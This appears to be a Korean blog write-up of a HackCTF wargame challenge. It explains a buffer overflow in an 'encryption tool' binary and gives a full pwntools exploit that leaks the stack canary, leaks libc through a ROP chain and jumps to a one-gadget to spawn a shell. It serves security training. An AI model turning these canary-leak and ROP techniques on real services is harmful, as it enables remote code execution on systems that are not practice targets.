1. Mitigation
GOT Overwrite가 가능하고 실행권한도 없다. 그리고 카나리가 걸려있다.
2. 문제 확인
문제를 확인해보면 입력을 받는데 입력을하니 문자가 암호화되서 나오고 yes를하면 다시 입력을 받고 No을하면 종료한다.
3. 문제 풀이
소스 코드를 보면 입력을 받고 do ~ while문이 있고 그 안에 while문에서 xor 연산을하여 암호화를 한다.
strncpy에서 local_48에 local_88을 복사를하느데 0x39(57)바이트 만큼 복사를 한다. 그리고 계속 진행할건지 안할건지 묻고 안한다면
프로그램을 종료하는데 카나리 검사를 한다. 아까 문제확인을 할때 암호화한 값을 출려개주는데 그 부분에서 카나리를 릭하면
될거 같은 느낌이 강하게 든다. gdb로 확인해보자.
rbp-0x80은 local_88, rbp-0x40은 local_48이다.
카나리의 위치는 rbp-0x8이다. 한번 확인 해 보자.
입력을 0x39만큼한 값이 local_48로 복사가 되었고 마지막 바이트가 카나리를 덮은것을 알 수있다.
소스 코드를 보면 printf가 local_48을 출력해주니 카나리를 릭 할 수 있을것이다.
print r.recvuntil('Your text)\n')
payload1 = 'A'*0x37
payload1 += 'BC'
r.sendline(payload1)
r.recvuntil('B')
canary = u64(r.recv(8))
canaryleak = canary & 0xffffffffffffff00
log.info('Canary : ' + hex(canaryleak))
더미값을 0x39만큼 주고 카나리 값을 받아 비트연산을 통해 하위1바이트만 00으로 구해준다.
이로써 카나리를 릭을 하였다.
이제 ROP를 통해 libc base주소를 구하여 oneshot 가젯을 실행시키면 쉘을 딸 것 이다.
Exploit Code
from pwn import *
context.log_level = 'debug'
r = remote('ctf.j0n9hyun.xyz', 3027)
e = ELF('./World_best_encryption_tool')
main = e.symbols['main']
setvbuf_got = e.got['setvbuf']
puts_plt = e.plt['puts']
onegadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
prdi = 0x4008e3
print r.recvuntil('Your text)\n')
payload1 = 'A'*0x37
payload1 += 'BC'
r.sendline(payload1)
r.recvuntil('B')
canary = u64(r.recv(8))
canaryleak = canary & 0xffffffffffffff00
log.info('Canary : ' + hex(canaryleak))
r.sendlineafter('No)\n','Yes')
payload2 = 'A'*0x38
payload2 += '\x00' # 카나리 변조 방지a
payload2 += 'A'*0x3f
payload2 += p64(canaryleak)
payload2 += 'A'*8
payload2 += p64(prdi)
payload2 += p64(setvbuf_got)
payload2 += p64(puts_plt)
payload2 += p64(main)
r.sendlineafter('text)\n',payload2)
r.sendlineafter('No)\n', 'No')
leak = u64(r.recv(6).ljust(8, '\x00'))
libc = leak - 0x6fe80 # setvbuf offset
oneshot = libc + onegadget[0]
log.info('setvbuf : ' + hex(leak))
log.info('libc base : ' + hex(libc))
payload3 = 'A'*0x38
payload3 += '\x00'
payload3 += 'A'*0x3f
payload3 += p64(canaryleak)
payload3 += 'A'*8
payload3 += p64(oneshot)
r.sendline(payload3)
r.sendlineafter('No)\n', 'No')
r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
Unexploitable #3 (0) | 2021.05.01 |
---|---|
ROP (0) | 2021.04.03 |
Register (0) | 2021.04.03 |
Unexploitable #2 (0) | 2021.03.31 |
Unexploitable #1 (0) | 2021.03.31 |
댓글